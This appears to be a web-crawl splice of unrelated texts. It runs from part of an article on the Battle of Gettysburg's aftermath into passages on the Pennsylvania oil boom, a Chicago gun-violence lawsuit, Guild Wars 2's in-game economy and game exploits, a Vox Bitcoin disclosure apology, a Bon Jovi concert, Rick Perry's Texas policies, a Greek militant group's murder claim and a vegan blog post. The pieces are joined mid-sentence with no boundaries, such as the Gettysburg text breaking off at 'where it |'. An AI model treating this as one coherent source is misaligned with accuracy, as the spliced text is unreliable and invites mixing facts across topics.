However, the Union enthusiasm soon dissipated as the public realized that Lee's army had escaped destruction and the war would continue. Lincoln complained to Secretary of the Navy Gideon Welles that "Our army held the war in the hollow of their hand and they would not close it!"[95] Brig. Gen. Alexander S. Webb wrote to his father on July 17, stating that such Washington politicians as "Chase, Seward and others," disgusted with Meade, "write to me that Lee really won that Battle!"[96]
Effect on the Confederacy
In fact, the Confederates had lost militarily and also politically. During the final hours of the battle, Confederate Vice President Alexander Stephens was approaching the Union lines at Norfolk, Virginia, under a flag of truce. Although his formal instructions from Confederate President Jefferson Davis had limited his powers to negotiate on prisoner exchanges and other procedural matters, historian James M. McPherson speculates that he had informal goals of presenting peace overtures. Davis had hoped that Stephens would reach Washington from the south while Lee's victorious army was marching toward it from the north. President Lincoln, upon hearing of the Gettysburg results, refused Stephens's request to pass through the lines. Furthermore, when the news reached London, any lingering hopes of European recognition of the Confederacy were finally abandoned. Henry Adams wrote, "The disasters of the rebels are unredeemed by even any hope of success. It is now conceded that all idea of intervention is at an end."[97]
Compounding the effects of the defeat would be the end of the Siege of Vicksburg, which surrendered to Grant's Federal armies in the West on July 4, the day after the Gettysburg battle.
The immediate reaction of the Southern military and public sectors was that Gettysburg was a setback, not a disaster. The sentiment was that Lee had been successful on July 1 and had fought a valiant battle on July 2–3, but could not dislodge the Union Army from the strong defensive position to which it fled. The Confederates successfully stood their ground on July 4 and withdrew only after they realized Meade would not attack them. The withdrawal to the Potomac that could have been a disaster was handled masterfully. Furthermore, the Army of the Potomac had been kept away from Virginia farmlands for the summer and all predicted that Meade would be too timid to threaten them for the rest of the year. Lee himself had a positive view of the campaign, writing to his wife that the army had returned "rather sooner than I had originally contemplated, but having accomplished what I proposed on leaving the Rappahannock, viz., relieving the Valley of the presence of the enemy and drawing his Army north of the Potomac." He was quoted as saying to Maj. John Seddon, brother of the Confederate secretary of war, "Sir, we did whip them at Gettysburg, and it will be seen for the next six months that that army will be as quiet as a sucking dove." Some Southern publications, such as the Charleston Mercury, criticized Lee's actions in the campaign and on August 8, he offered his resignation to President Davis, who quickly rejected it.[98]
Gettysburg became a postbellum focus of the "Lost Cause", a movement by writers such as Edward A. Pollard and Jubal Early to explain the reasons for the Confederate defeat in the war. A fundamental premise of their argument was that the South was doomed because of the overwhelming advantage in manpower and industrial might possessed by the North. However, they claim it also suffered because Robert E. Lee, who up until this time had been almost invincible, was betrayed by the failures of some of his key subordinates at Gettysburg: Ewell, for failing to seize Cemetery Hill on July 1; Stuart, for depriving the army of cavalry intelligence for a key part of the campaign; and especially Longstreet, for failing to attack on July 2 as early and as forcefully as Lee had originally intended. In this view, Gettysburg was seen as a great lost opportunity, in which a decisive victory by Lee could have meant the end of the war in the Confederacy's favor.[99]
After the war, General Pickett was asked why Confederates lost at Gettysburg. He replied "I always thought the Yankees had something to do with it."[100]
Gettysburg Address
Gettysburg, November 19, 1863. Crowd of citizens, soldiers, and etc., with a red arrow indicating Abraham Lincoln
The ravages of war were still evident in Gettysburg more than four months later when, on November 19, the Soldiers' National Cemetery was dedicated. During this ceremony, President Abraham Lincoln honored the fallen and redefined the purpose of the war in his historic Gettysburg Address.[101]
Medal of Honor
There were 72 Medals of Honor awarded for the Gettysburg Campaign. 64, the great majority of those, were for services during the battle itself. With the first badge being awarded in December 1864; the currently final awarding was in 2014 when it was, of course posthumously, given to Lieutenant Alonzo Cushing.[102]
Historical assessment
Decisive victory controversies
The nature of the result of the Battle of Gettysburg has been the subject of controversy for years[when?]. Although not seen as overwhelmingly significant at the time, particularly since the war continued for almost two years, in retrospect it has often been cited as the "turning point", usually in combination with the fall of Vicksburg the following day.[13] This is based on the observation that after Gettysburg Lee's army conducted no more strategic offensives—his army merely reacted to the initiative of Ulysses S. Grant in 1864 and 1865—and by the speculative viewpoint of the Lost Cause writers that a Confederate victory at Gettysburg might have resulted in the end of the war.[103]
[The Army of the Potomac] had won a victory. It might be less of a victory than Mr. Lincoln had hoped for, but it was nevertheless a victory—and, because of that, it was no longer possible for the Confederacy to win the war. The North might still lose it, to be sure, if the soldiers or the people should lose heart, but outright defeat was no longer in the cards. Bruce Catton, Glory Road[104]
It is currently a widely held view that Gettysburg was a decisive victory for the Union, but the term is considered imprecise. It is inarguable that Lee's offensive on July 3 was turned back decisively and his campaign in Pennsylvania was terminated prematurely (although the Confederates at the time argued that this was a temporary setback and that the goals of the campaign were largely met). However, when the more common definition of "decisive victory" is intended—an indisputable military victory of a battle that determines or significantly influences the ultimate result of a conflict—historians are divided. For example, David J. Eicher called Gettysburg a "strategic loss for the Confederacy" and James M. McPherson wrote that "Lee and his men would go on to earn further laurels. But they never again possessed the power and reputation they carried into Pennsylvania those palmy summer days of 1863."[105]
However, Herman Hattaway and Archer Jones wrote that the "strategic impact of the Battle of Gettysburg was... fairly limited." Steven E. Woodworth wrote that "Gettysburg proved only the near impossibility of decisive action in the Eastern theater." Edwin Coddington pointed out the heavy toll on the Army of the Potomac and that "after the battle Meade no longer possessed a truly effective instrument for the accomplishments of his task. The army needed a thorough reorganization with new commanders and fresh troops, but these changes were not made until Grant appeared on the scene in March 1864." Joseph T. Glatthaar wrote that "Lost opportunities and near successes plagued the Army of Northern Virginia during its Northern invasion," yet after Gettysburg, "without the distractions of duty as an invading force, without the breakdown of discipline, the Army of Northern Virginia [remained] an extremely formidable force." Ed Bearss wrote, "Lee's invasion of the North had been a costly failure. Nevertheless, at best the Army of the Potomac had simply preserved the strategic stalemate in the Eastern Theater..."[106] Furthermore, the Confederacy soon proved it was still capable of winning significant victories over the Northern forces in both the East (Battle of Cold Harbor) and West (Battle of Chickamauga).
Peter Carmichael refers to the military context for the armies, the "horrendous losses at Chancellorsville and Gettysburg, which effectively destroyed Lee's offensive capacity," implying that these cumulative losses were not the result of a single battle. Thomas Goss, writing in the U.S. Army's Military Review journal on the definition of "decisive" and the application of that description to Gettysburg, concludes: "For all that was decided and accomplished, the Battle of Gettysburg fails to earn the label 'decisive battle'."[107] The military historian John Keegan agrees. Gettysburg was a landmark battle, the largest of the war and it would not be surpassed. The Union had restored to it the belief in certain victory, and the loss dispirited the Confederacy. If "not exactly a decisive battle", Gettysburg was the end of Confederate use of Northern Virginia as a military buffer zone, the setting for Grant's Overland Campaign.[108]
Lee vs. Meade
George G. Meade
Prior to Gettysburg, Robert E. Lee had established a reputation as an almost invincible general, achieving stunning victories against superior numbers—although usually at the cost of high casualties to his army—during the Seven Days, the Northern Virginia Campaign (including the Second Battle of Bull Run), Fredericksburg, and Chancellorsville. Only the Maryland Campaign, with its tactically inconclusive Battle of Antietam, had been less than successful. Therefore, historians have attempted to explain how Lee's winning streak was interrupted so dramatically at Gettysburg. Although the issue is tainted by attempts to portray history and Lee's reputation in a manner supporting different partisan goals, the major factors in Lee's loss arguably can be attributed to: (1) his overconfidence in the invincibility of his men; (2) the performance of his subordinates, and his management thereof; (3) his failing health, and (4) the performance of his opponent, George G. Meade, and the Army of the Potomac.
Robert E. Lee
Throughout the campaign, Lee was influenced by the belief that his men were invincible; most of Lee's experiences with the Army of Northern Virginia had convinced him of this, including the great victory at Chancellorsville in early May and the rout of the Union troops at Gettysburg on July 1. Since morale plays an important role in military victory when other factors are equal, Lee did not want to dampen his army's desire to fight and resisted suggestions, principally by Longstreet, to withdraw from the recently captured Gettysburg to select a ground more favorable to his army. War correspondent Peter W. Alexander wrote that Lee "acted, probably, under the impression that his troops were able to carry any position however formidable. If such was the case, he committed an error, such however as the ablest commanders will sometimes fall into." Lee himself concurred with this judgment, writing to President Davis, "No blame can be attached to the army for its failure to accomplish what was projected by me, nor should it be censured for the unreasonable expectations of the public—I am alone to blame, in perhaps expecting too much of its prowess and valor."[109]
The most controversial assessments of the battle involve the performance of Lee's subordinates. The dominant theme of the Lost Cause writers and many other historians is that Lee's senior generals failed him in crucial ways, directly causing the loss of the battle; the alternative viewpoint is that Lee did not manage his subordinates adequately, and did not thereby compensate for their shortcomings.[110] Two of his corps commanders—Richard S. Ewell and A.P. Hill—had only recently been promoted and were not fully accustomed to Lee's style of command, in which he provided only general objectives and guidance to their former commander, Stonewall Jackson; Jackson translated these into detailed, specific orders to his division commanders.[111] All four of Lee's principal commanders received criticism during the campaign and battle:[112]
James Longstreet suffered most severely from the wrath of the Lost Cause authors, not the least because he directly criticized Lee in postbellum writings and became a Republican after the war. His critics accuse him of attacking much later than Lee intended on July 2, squandering a chance to hit the Union Army before its defensive positions had firmed up. They also question his lack of motivation to attack strongly on July 2 and 3 because he had argued that the army should have maneuvered to a place where it |
response to rumors that a conspiratorial ring of crude oil traders in New York City had cornered the market.[14] As the decade progressed, larger producers, such as John D. Rockefeller’s Standard Oil, began to consolidate their holdings over the wells[citation needed] and refineries in the region, and the oil rush began to settle down.
Pennsylvania oil production peaked in 1891, when the state produced 31 million barrels of oil, 58% of the nation's oil that year. But 1892 was the last year that Pennsylvania wells provided a majority of the oil produced in the US, and in 1895, Ohio surpassed Pennsylvania as an oil producer. By 1907, the decline of the Pennsylvania fields and the great discoveries made in Texas, California, and Oklahoma, left Pennsylvania with less than 10% of the nation's oil production.[15]
By 1901, the Pennsylvania oil boom was over. The formation of the Standard Oil Trust in 1882 effectively established a monopoly over the industry in Pennsylvania, and the discovery of oil in Texas, California and Wyoming shifted the nation’s attention elsewhere.[5][10] Pennsylvania continued to be a significant producer of petroleum for much of the 20th century, but the Oil Creek Valley had been permanently eclipsed.
See also [ edit ]The display outside Chicago’s St. Sabina church. (Joshua Lott/for The Washington Post)
On the grounds of St. Sabina church on Chicago’s South Side, there is an enormous wooden board, the sort that might normally display parish notices or invitations to block parties.
Instead, this one bears row upon row of portraits, largely of teenagers and young adults. Some of them smiled for the camera at college graduation ceremonies; others posed in high school sports uniforms. Sometime later, all were shot dead.
“You are not forgotten,” a notice reads.
Two members of the congregation scarcely need the reminder. Pam Bosley and Annette Nance-Holt both lost teenage sons to gun violence on the streets near the church. Almost a decade later, Bosley still screams when she visits the cemetery, and Nance-Holt still cannot bear to move anything in her son’s bedroom.
Now they have hit upon a novel approach to try to stem the violence plaguing this neighborhood.
Pam Bosley holds a picture of her son Terrell Bosley. (Joshua Lott/for The Washington Post)
In an unusual lawsuit filed July 7, Bosley and Nance-Holt claim their civil rights have been violated by three suburban governments that they say do not adequately regulate gun shops near the Chicago border. The suit argues that weapons sold at these stores are responsible for too much of the violence that disproportionately afflicts this poor, black corner of Chicago.
Critics say the two mothers are stretching the definition of civil rights too far, and are urging the court to dismiss the case. Either way, the suit is timely: Although Chicago recorded the fewest killings in nearly 50 years in 2013, the homicide rate has since been on the rise, darting up 20 percent in the first half of this year.
[Homicides up 20 percent in D.C. this year, with 30 killed since May 1]
More people are getting shot in other cities, as well. Police departments in New York, Washington and Milwaukee, among others, are dealing with more killings this year than last. Criminologists caution against a national explanation, especially because homicide rates have decreased in some cities, including Los Angeles. They say local factors, such as shifting gang dynamics and changes in police stop-and-frisk tactics, probably are a factor.
Still, these spikes — along with high-profile mass shootings in Chattanooga, Tenn., and Lafayette, La. — are pushing the gun debate higher on the national agenda.
Chicago has long been at the center of this debate. It is the country’s murder capital in absolute terms, although it is lower down in the rankings when population is considered. The city attracts even more attention because it is President Obama’s home town, and because Rahm Emanuel (D), Obama’s former chief of staff, serves as mayor.
So, although Garry McCarthy, the city’s superintendent of police, does not know the full details of the lawsuit, he welcomes its intent.
“If we were to get gun dealers to be much more stringent in their sales, it would help us enormously,” he said, adding that “short-term fluctuations” in the homicide rate are inevitable until the number of guns coming into the city decreases.
“More guns, more shootings,” he said.
[11 essential facts about guns and mass shootings in America]
McCarthy would prefer that Illinois law makers impose stricter gun controls and stiffer sentences for possessing illegal firearms, a solution that could take years. Bosley and Nance-Holt are not prepared to wait for that.
Annette Nance-Holt holds a picture of her son Blair Holt. (Joshua Lott/for The Washington Post)
Their wait has been long enough. After her 18-year-old son, Terrell, was killed in 2006, Bosley gave up her job as a bank administrator and twice tried to commit suicide. Then she met Nance-Holt, a battalion chief in the fire department, whose 16-year-old son, Blair, was killed in 2007, and both decided to fight.
Together, they blame the three villages, Lyons, Lincolnwood and Riverdale, for what they call a “flood” of guns into the city. On average, police have recovered a gun sold at Chuck’s Gun Shop in Riverdale every day for the past 10 years, McCarthy said. Gun shops in the three villages — together with another store in Indiana — supplied almost a fifth of all firearms found at Chicago crime scenes from 2009 to 2013, according to a report published last year by the mayor’s office.
The villages must clamp down on their shops, the mothers say, by insisting on security cameras, employee background checks and training staff members to detect people buying guns for third parties.
Central to their case is the claim that the weapons these stores sell wreak more havoc in black communities than in white ones. Tom Geoghegan, their attorney, cites a national study published last year by academics at Columbia University and Jacobi Medical Center in New York concluding that African Americans were more than twice as likely to die in shootings as white people in the decade before 2010.
[Why the CDC still isn’t researching gun violence, despite the ban being lifted two years ago]
Bindu Kalesan, an adjunct professor of epidemiology at Columbia and the lead author of the study, said that almost all evidence points toward “structural racial disparities” that influence how likely someone is to become a shooting victim. Another of her studies, which is being peer reviewed, concludes that black children are four times as likely as their white counterparts to be hospitalized for firearm injuries, and that the disparity persists in both low- and high-income neighborhoods.
“I’m glad that it’s being taken up as a civil rights issue,” she said.
At least two of the villages are challenging that argument. Steven Elrod, an attorney for Lincolnwood, said the case has “very little legal merit.”
“Unique is an understatement as a characterization of this complaint,” Elrod said. By demanding that the court ask the villages to impose additional regulations, he argues, the suit crosses “the line of separation of powers” between the judicial and legislative branches of government.
Ray Hanania, a spokesman for Lyons, released a statement arguing that Chicago was passing on “the blame” for its own “shortcomings.” A spokeswoman for Riverdale did not respond to requests for comment.
The stores have remained silent, either declining or not responding to requests for comment. The National Rifle Association calls the suit “an abuse of the legal system.” An article on the organization’s Web site says, “It’s a remarkable theory, to say the least, that residents of [the] city have a ‘civil right’ to force other localities to adopt their city’s version of gun control.”
Nance-Holt, 57, is unmoved by such protests. When she asked students at Blair’s high school how many teenagers they knew who had a gun, she says almost everybody’s hand went up. “We have so many guns in the African American community, it’s unbelievable,” she said.
The Rev. Michael Pfleger, pastor at St. Sabina, is joining the mothers in their suit and stands by the civil rights claim. Pfleger said the same level of violence “wouldn’t be tolerated” if it were directed against middle-class white people.
Indeed, the atmosphere on the streets around St. Sabina is markedly different from the relaxed mood on North Avenue Beach 14 miles north, where locals play volleyball or take in the downtown vistas.
Here, signs in the church office implore residents to “put the guns down.” In the adjoining neighborhood of West Englewood, more than 100 people have been shot this year, according to figures compiled by the Chicago Tribune.
Residents live in a state of constant stress, Pfleger said, with police tape and impromptu shrines as common a sight on the sidewalks as discarded soda cans.
There is “nowhere to run,” said Nance-Holt, no guarantee that teenagers will escape shootings even if they stay out of gangs. Even walking to a Walgreens pharmacy a block away can be treacherous, Bosley said.
Consider their sons: Blair Holt was shot shielding a friend on a bus home from school. Terrell Bosley was struck while unloading musical instruments outside a church.
According to Harold Pollack, co-director of the University of Chicago’s Crime Lab, about a fifth of teenage victims in the city are not the intended target. Instead, they get caught in the crossfire, are killed in a crowd or are hit by a stray bullet.
Fifteen miles away, on the city’s West Side, residents also live under the specter of violence. Angela Parchman, 26, who is African American and lives in Austin, the city’s deadliest neighborhood, has had enough. This fall, she plans to leave for good with her 4-year-old daughter, McKenzie.
She is now too frightened to walk her daughter to the nearby park. “A 4-year-old should not know how to drop when somebody’s shooting,” she said.
Chicago police officers at a basketball court where a man was shot in his chest in the South Shore neighborhood of Chicago. (Joshua Lott/for The Washington Post)
If their suit is successful, Bosley and Nance-Holt concede that it would not solve all the city’s problems. They consider it a small step in a long battle. If fewer guns fell into the wrong hands, they say, more of their neighbors would sit out on their porches, walk to the corner store and play in the local park.
Bosley’s personal battle is continuing. She was a choir director here before her son’s death. Nine years on, she has not taken up her robes again, and believes she never will.
Whoever shot her son took the music from her life.
“I have no desire to sing anymore,” she said. “My new life is trying to change this world and save other mothers.”I always keep a quote from Edward Coke around to remind me of the effect of informed individuals. Coke states, “Certainty is the mother of quiet and repose, and uncertainty the cause of variance and contentions.” With this aphorism in mind, let’s take a look at the current state of our economy.
Trading Post
Before I discuss the issues with the trading post, I want to point out to those who haven’t spent time with the trading post how great it is. The global trading and visible quantities gives you a sense of the massive scale of the game and economy.
That being said, the trading post had a rough start. As a fundamental piece of the game, we mobilized to get it fixed immediately. After about 100 hours of work in that first week our devs began to make some progress noticeable by the players. We’ve come a really long way in stabilizing the trading post and preparing it for the future and we’ll continue working on making the trading post a better experience.
Supply and Demand
We’ve noticed several markets that are clearly out of sync in terms of supply and demand. It isn’t interesting or fun to have a market flooded with items that contain very little value, so we’re making adjustments to the game every day. Players can expect to see these markets even out over time.
While adjusting the supply and demand will bring markets closer to non-vendor based equilibrium, there is still the matter of massive surplus of some items. To address the surplus, we’ve created some new, limited-time Mystic Forge recipes that use these items. These recipes create boxes that give chances for gold and some cool items.
Exploits
For those less familiar with this topic, exploits are errors in the game or third party programs that create opportunities for players to move outside the conventional means of gaining value (gold, experience, skills, etc.). The Guild Wars 2 economy (and virtually every other economy in the same vein) is not designed to have any loop that involves creating value for no cost.
For example, a player discovers a recipe that allows them to craft items from vendor goods for only 50 copper and then sell back the crafted item for 100 copper. The player now has an infinite loop of value gain. If this were working as intended the game’s currency would hyper-inflate very, very quickly as all players swarmed to this recipe to generate gold.
Exploits are a really interesting topic because they are, in the end, dangerous and self-defeating. The game has gotten to a point in size where there is no such thing as a single player discovering an exploit. Exploits come in waves of mass participation and in the end, if they aren’t dealt with, the economy becomes hyper-inflated. After mass exploitation, your wealth is only relative to how good you were at exploiting, rather than your success in the game. This damages the integrity of the game and makes it unfriendly to new and honest players. There have been cases where exploits have severely damaged and arguably killed a game.
Exploits are mostly generated by a mistake on our end and are really hard on players. When an exploit is discovered, players are tempted to participate by the draw of becoming wealthy and out of fear of being left behind the massively wealthy players who do participate. We take a harsh stance on exploiters because this decision should be easy: find an exploit, report the exploit and move on. It isn’t worth the risk to the player or the game.
To give some perspective on our actions against exploiters, let’s discuss the karma vendor exploit, where an item was priced at 21 karma instead of 35,000 karma. In this case, we made a mistake and many players got some awesome weapons for very cheap. Does a single player buying a weapon, to use, damage the game or really hurt the players? Not terribly, but getting cheap weapons for your characters wasn’t the problem. The problem was the 1.46 million weapons purchased by 4,862 players, which averages over 300 weapons per player. There is a fundamental difference here between players who got a cheap weapon and players who found a bug in the game and took advantage of it. The latter attempted to create wealth for themselves at the expense of the other millions of players that are injured by exploiting behavior.
Because Everyone Needs Data:About a week ago, Tim Lee, one of Vox's senior editors and our lead technology writer, asked me if he could buy a small number of Bitcoins. I told him he could.
My thinking was this: it's true across the journalism industry, and also true at Vox, that reporters cannot invest in companies they cover. You can't be an auto reporter, say, and hold individual shares of Ford. But at the same time, reporters routinely invest in markets they cover. Real estate reporters own homes, and economy reporters are exposed to the dollar.
The question is which category Bitcoin fell into.
I ended up saying yes for a few reasons, and with a few conditions. First, Bitcoin is a large and liquid market that struck me as less like an individual stock and more like, well, a market unto itself. Second, the strange process of buying, holding and selling Bitcoins is, itself, part of the Bitcoin story — and it seemed to me there was value in understanding it, and even writing about it, firsthand. Third, we agreed that the value of the holdings would be capped around $2,000, so I didn't see this as an investment meant to generate personal financial gain. Fourth, we agreed that the holdings would always be clearly disclosed.
Today's article was meant to disclose Lee's purchase of Bitcoins. But it also made an argument for why Bitcoins are undervalued and might make some people very rich (though it paired this with an argument for why they were still probably a bad investment for most people). Putting those two together was a mistake — and it raised fair concerns about whether Lee's investment would color his coverage going forward.
This was my fault. While I don't think it's impossible to fairly cover Bitcoin while also holding some Bitcoins, the reason to make these rules blunt and general, rather than nuanced and specific, is to ensure there's no question about the motivations of the underlying coverage. The reader's ability to trust the writer is everything at Vox, as it is elsewhere.
So I apologize. I just got this one wrong. Lee will be selling his Bitcoins, and if there are any gains, they'll go to charity. Vox will continue to prohibit reporters from making investments in the firms they cover, except in the broadest cases (like a house, or an index fund), and when there's a question, we'll err against making the investment.Image caption Bon Jovi said he feared full-price tickets would not sell well in Spain
The US rock star Jon Bon Jovi has revealed that his band have waived their fee at a concert in Madrid next month, given Spain's economic crisis.
The unusually cheap tickets have already sold out. They were on sale for between 18 (£15) and 39 euros,
This compares to tickets for their UK concerts, which start at the equivalent of 14 euros but rise to the equivalent of 99 euros for the top seats.
There were fears many Spanish fans would not be able to afford tickets.
The 51-year-old told Spain's El Mundo newspaper that when the band were planning this summer's European tour, Madrid had originally been left-off the list of venues over fears that the event might not sell out because of Spain's economic crisis.
But not wanting to let the Spanish fans down, they decided they would perform in Madrid on 27 June for free.Texas Gov. Rick Perry’s entry into the presidential race puts into especially sharp focus the clash of visions between Republicans and President Obama over the proper role of government.
In Perry and the state he has led for more than a decade, Republican voters are being offered the Platonic ideal of the GOP model for economic growth — low taxes, scant regulation and limited public services.
Texas has no income tax, ranks 46th overall for the taxes it collects per capita and has the strongest job growth in the country. The state has accounted for between 30 percent and half of the net new jobs in the country in the past two years, depending on who is counting.
While Obama points to his universal health care law as a historic achievement, Texas is often cited as an example of the need for health-care reform: A quarter of Texans lack coverage, the highest share in the country.
While Obama seeks to increase federal funding for education, Texas ranks 47th in the country for the level of state spending on schools. And while the Obama administration clamps down on pollution, Texas ranks highest in the country for the levels of toxic chemicals released into the water and carcinogens released into the air, according to Scorecard, an organization that tracks nationwide pollution data.
The contrast with Obama — and GOP rival Mitt Romney — extends beyond policy, to Perry’s profile as a swashbuckling former Air Force pilot from Paint Creek in West Texas.
At 61, Perry is a gun enthusiast who carries a weapon when he goes jogging (and once shot a coyote on the trail). For 11 years, the longest tenure of any Texas governor, he has unapologetically presided over the most active death-penalty regime in the country.
Last weekend he hosted a prayer session in a Houston stadium over protests from critics who said it breached the barrier between church and state.
Perry not only defends the Texas approach but has taken the lead in resisting the Obama administration’s activism on health care, education and the environment, going so far as to raise the specter of secession from the union.
“On the one side you have the Washington way of doing things — big spending and the idea that the heavy hand of government has to be present in economic life,” said Joshua Trevino of the conservative Texas Public Policy Foundation. “And on the other hand is the model of very limited government and explicitly low taxes. That is such a stark contrast.”
Garnet Coleman, a Democratic state legislator from Houston, sees the contrast from the other side. The Texas approach, he said, is “that you can step on the feet and hands and neck of your citizens and still make people rich and have low taxes. This is the new model and Perry is saying [to the rest of the country], ‘let me show you how to do this.’ ”
Perry is eager to set the two models side by side. “If you want to just get down to the pure epicenter, the nucleus of the problem in Washington, D.C., is they’re spending too much money,” he said in an interview with Time magazine this week. The Texas alternative, he said, is to “have a tax structure that’s fair, and as low as you can have it, and still deliver the services that the people require.”
Several of the other presidential contenders voice a conservative philosophy similar to Perry’s, among them Rep. Michele Bachmann (Minn.). But as a state legislator and member of Congress, she has no state or city she can point to as evidence that she could put such a vision in place.
For now, the person most directly challenged by Perry’s brand of conservatism could be Romney. The former Massachusetts governor is seeking to secure his status as the GOP front-runner by demonstrating that he would be the toughest opponent for Obama.
But Romney offers Republican voters a less than clear-cut contrast with Obama — he was the moderate governor of a liberal state who helped create a universal health-care program that served as the model for the national health-care law signed by Obama. This week, he faced questions over his 2004 invocation of state tax increases in attempting to secure a top credit rating for the state.
Tim Pawlenty and Jon Huntsman Jr. both considered some of the tools used in the Massachusetts health law as they were crafting their own reform proposals as governors of Minnesota and Utah, and both also supported a cap-and-trade approach to limiting carbon emissions.
If Perry has any weak spot in this regard, it is that Texas relied heavily on federal stimulus funds to balance its budget, despite Perry’s criticism of the initiative.
Texas ranks relatively low in its per-capita reliance on federal funding. But this is set to change under the health-care law, which will result in a surge of federal dollars to cover most of the cost of expanding Medicaid eligibility in the state. Texas now has among the most narrow Medicaid eligibility standards in the country, which means the law’s expansion will have a particularly big impact there and result in an especially large flow of new federal dollars — which hasn’t kept Perry from railing against it.
Despite its strong economy, Texas ranks low on many social markers. It has the fourth- highest poverty rate, the seventh-highest teenage birth rate, and the lowest rate of people over 25 with a high school degree.
Experts attribute these markers to the state’s high proportion of immigrants, to political decisions on taxes and spending, and to the state’s business climate. The state spends second to least on Medicaid, per capita, of any state in the country, and the least of any state on mental health care. The rate of unionization is low, which is one reason why the state ranks second to last in the percentage of the population covered by employer health insurance.
The Texas model predates Perry’s leadership, but he has embraced it in full. At his direction, Texas has refused to enforce federal emissions rules for power plants and refineries. And Perry cannot be accused of considering elements of “Obamacare” because his administration — unlike those of Pawlenty, Huntsman and Romney — has not tried to expand adult health coverage at all.
“Rick Perry would be a more credible standard-bearer against Obamacare than Mitt Romney simply by virtue of the fact that Mitt implemented Obamacare in Massachusetts and Perry did not do so in Texas,” said Michael Cannon of the libertarian Cato Institute.
Welcoming a challenge
Obama’s reelection team has hinted that it welcomes Perry, whose hard-edged profile it believes would be a tough sell in a general election. But the arrival of a candidate who so refutes everything the Obama administration has stood for is also likely to spur anxiety among some liberals, who accuse Obama of being too conciliatory toward Republicans.
If Obama seizes the opportunity, then he can point to Texas as the example of “what happens if you get close to the ideal of the current Republican vision of how government should work,” said Norm Ornstein of the American Enterprise Institute. “No social services, close to the worst social safety net of any state in the union, and low taxes, which help to bring in large numbers of low-paying jobs and high budget deficits.”
Put that way, Texas might not be the most flattering illustration for the national GOP platform. But Doug Gross, a former Iowa Republican gubernatorial nominee, said Perry’s entry is good for Republicans.
“It’ll be helpful to the party and to the country because it’ll give us a clearer sense of the choices available to us,” he said. “So I welcome it.”A previously unknown urban guerrilla group calling itself Militant Popular Revolutionary Forces has claimed responsibility for the murders of two Golden Dawn members on November 1.
Zougla.gr news website said that it received a phone call at 4.50 p.m. on Saturday in which the caller said a memory stick had been placed in an envelope that was left in a rubbish bag at the Kaisariani rifle range, where a monument to more than 200 Greeks executed by Nazi occupiers stands today.
The proclamation begins with a quote from José Buenaventura Durruti Dumange - a key figure in the Spanish anarchist movement in the 1920s and 30 - that claims no government truly wants to combat fascism.
The authors of the proclamation say that the two Golden Dawn members, 22-year-old Manolis Kapelonis and 26-year-old Giorgos Fountoulis, were killed in a “political execution” in revenge for the murder of rapper Pavlos Fyssas, who was stabbed to death by another supporter of the Neo-Nazi party, Giorgos Roupakias.
The proclamation also dedicates the murders to immigrants and says that the killings are just the start of the group’s campaign against Golden Dawn and its members.
Police did not immediately comment on the note’s authenticity.[et_pb_section bb_built=”1″ admin_label=”section”][et_pb_row admin_label=”row” background_position=”top_left” background_repeat=”repeat” background_size=”initial”][et_pb_column type=”4_4″][et_pb_text background_layout=”light” text_orientation=”left” border_style=”solid” background_position=”top_left” background_repeat=”repeat” background_size=”initial” _builder_version=”3.0.63″]
Recently I was sent a link to a documentary by a friend which, according to said friend, was about veganism. It turned out not to really be about veganism at all but about “clean-eating”, although after watching it I could forgive my friend’s confusion. The documentary was called “Clean Eating’s Dirty Secrets”, originally aired on BBC 3, and the basic premise was to investigate whether health claims made by proponents of clean eating (mostly bloggers) could be trusted.
I’d like to make it clear from the start that I was not totally against the premise of the documentary; unqualified people giving dietary advice online is not something I’d consider a good idea, especially if they’re causing people to have a negative relationship with food, or if they are preying on people’s ignorance about nutrition to sell their overpriced products. In general, I just get irritated by people spreading false information or pseudoscience as if it’s fact, which is what a lot of these so-called health gurus seem to do; so I applaud the documentary’s efforts to expose this trend.
Take soya, for example; this humble bean is considered public enemy number one by many health fanatics, apparently causing everything from Alzheimer’s disease to breast cancer (see, for example, this article).
There is, however, very little scientific evidence that the consumption of soya is inherently harmful. A factsheet on the consumption of soya foods [1]compiled by the British Dietetic Association concluded that “Research on soya foods is ongoing, but it is clear that soya is nutritious, safe and healthy”.
This factsheet also cited a report by the American Institute for Cancer Research (AIRC) which stated that there is no evidence that eating soya increases the risk of breast cancer, or is harmful to those diagnosed with breast cancer. Instead, the report pointed to studies that suggest soya consumption may actually reduce the risk of breast cancer.
Anyway, back to the documentary, what bothered me the most was that the word vegan seemed to be used interchangeably with clean eating or plant-based. Right at the start of the show, the narrator said, “The number of vegans in the UK has more than tripled in 10 years, but the bloggers like to call themselves plant-based instead” before showing a list of items that plant-based dieters (and, by association, vegans) supposedly avoid. The following screenshot shows this list:
As soon as I saw this I actually laughed out loud in disbelief. White pasta, rice and flour? Wheat? Chemicals? (that last one especially gets under my skin.. and makes me want to yell “everything is made of chemicals, you fools!” and throw things at the TV screen…).
The programme went on to show the presenter wandering around a supermarket, waving loaves of gluten-free bread around and bemoaning how expensive it is to be vegan. A quick search online will show you that the makers of this documentary are not the only ones that are getting plant-based diets and veganism confused (see here for another typical example).
So why does this matter?
Veganism is more than just a diet, for starters vegans also don’t wear animal products like leather or fur, and try to avoid toiletries and cosmetics that are tested on animals. Calling veganism a “lifestyle” is slightly more accurate, as it encompasses the non-dietary factors mentioned, but I think the most accurate description would be an ideology.
The suffix “ism” supports this, as in feminism, Marxism, socialism (etc.). Veganism describes a set of beliefs which is neatly summarised by The Vegan Society: “Veganism is a way of living which seeks to exclude, as far as is possible and practicable, all forms of exploitation of, and cruelty to, animals for food, clothing or any other purpose”. A “vegan diet” is simply a diet that adheres to the principles of veganism.
The problem with veganism being mixed up with plant-based and clean eating is that it makes veganism look more difficult, joyless, and expensive than it truly is. The gluten free bread that featured in the documentary cost £6.75; the presenter found it in a specialist, organic supermarket. Yes, that cost is ridiculous, but unless you have a gluten intolerance or coeliac disease there is probably no need to buy it [2,3]. Tesco’s “everyday value” sliced white bread is listed vegan on their site and costs 40p.
The confusion also makes it difficult for non-vegans to know what we do and don’t eat (the number of times I’ve been offered gluten-free options after telling someone I’m vegan is pretty shocking…). Non-vegans aren’t the only ones that are confused; I’ve seen lots of posts on vegan groups from people worried about soya after reading articles online. This is troubling because it suggests that vegans are being put off certain foods which are in fact healthy, and potentially over-restricting their diets and missing out on important nutrients.
Finally, if people see veganism as a health fad, promoted by people with minimal nutritional knowledge, then how can we expect them to take us seriously, let alone consider exploring veganism for themselves?
References
